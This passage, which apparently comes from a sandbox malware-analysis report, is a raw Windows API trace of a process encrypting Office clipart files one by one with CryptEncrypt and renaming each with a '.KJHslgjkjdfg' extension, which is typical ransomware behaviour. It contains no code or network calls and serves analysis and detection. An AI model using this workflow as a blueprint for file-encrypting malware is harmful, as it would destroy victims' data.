hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.905] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.905] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.905] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.905] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x964, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x964, lpOverlapped=0x0) returned 1 [0194.905] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x970, dwBufLen=0x970 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x970) returned 1 [0194.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.905] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x970, lpOverlapped=0x0) returned 1 [0194.905] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.905] SetEndOfFile (hFile=0x130) returned 1 [0194.908] GetProcessHeap () returned 0x2ef0000 [0194.908] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.908] GetProcessHeap () returned 0x2ef0000 [0194.908] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.kjhslgjkjdfg")) returned 1 [0194.909] CloseHandle (hObject=0x130) returned 1 [0194.909] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0194.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.910] GetProcessHeap () returned 0x2ef0000 [0194.910] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.910] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.910] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.913] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.913] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.913] GetProcessHeap () returned 0x2ef0000 [0194.913] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.913] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.913] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.913] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.913] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.913] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.913] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.913] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.914] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.914] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.914] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x804, lpOverlapped=0x0) returned 1 [0194.914] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x810, dwBufLen=0x810 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x810) returned 1 [0194.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.914] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x810, lpOverlapped=0x0) returned 1 [0194.914] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.914] SetEndOfFile (hFile=0x130) returned 1 [0194.975] GetProcessHeap () returned 0x2ef0000 [0194.975] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.975] GetProcessHeap () returned 0x2ef0000 [0194.975] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.kjhslgjkjdfg")) returned 1 [0194.976] CloseHandle (hObject=0x130) returned 1 [0194.976] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0194.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.977] GetProcessHeap () returned 0x2ef0000 [0194.977] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.977] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.977] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.977] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.979] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.979] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.979] GetProcessHeap () returned 0x2ef0000 [0194.979] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.979] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.979] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.979] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.979] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.979] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.980] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.980] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.980] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.980] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.980] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8b8, lpOverlapped=0x0) returned 1 [0194.980] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0) returned 1 [0194.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.980] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8c0, lpOverlapped=0x0) returned 1 [0194.980] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.980] SetEndOfFile (hFile=0x130) returned 1 [0194.983] GetProcessHeap () returned 0x2ef0000 [0194.983] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.983] GetProcessHeap () returned 0x2ef0000 [0194.983] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.kjhslgjkjdfg")) returned 1 [0194.984] CloseHandle (hObject=0x130) returned 1 [0194.984] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0194.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.985] GetProcessHeap () returned 0x2ef0000 [0194.985] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.985] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.986] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.988] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.988] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.988] GetProcessHeap () returned 0x2ef0000 [0194.988] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.988] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.988] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.988] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.988] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.988] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.988] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.988] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.989] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.989] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.989] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x70c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x70c, lpOverlapped=0x0) returned 1 [0194.989] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x710, dwBufLen=0x710 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x710) returned 1 [0194.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.989] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x710, lpOverlapped=0x0) returned 1 [0194.989] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.989] SetEndOfFile (hFile=0x130) returned 1 [0194.992] GetProcessHeap () returned 0x2ef0000 [0194.992] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.992] GetProcessHeap () returned 0x2ef0000 [0194.992] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.kjhslgjkjdfg")) returned 1 [0194.993] CloseHandle (hObject=0x130) returned 1 [0194.993] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0194.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.994] GetProcessHeap () returned 0x2ef0000 [0194.994] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.994] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.994] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.994] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.994] GetProcessHeap () returned 0x2ef0000 [0194.995] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.995] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.995] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.995] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.997] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.997] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.997] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.997] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.997] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.998] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.998] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x760, lpOverlapped=0x0) returned 1 [0194.998] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x760, dwBufLen=0x760 | out: pbData=0x4bf0020*, 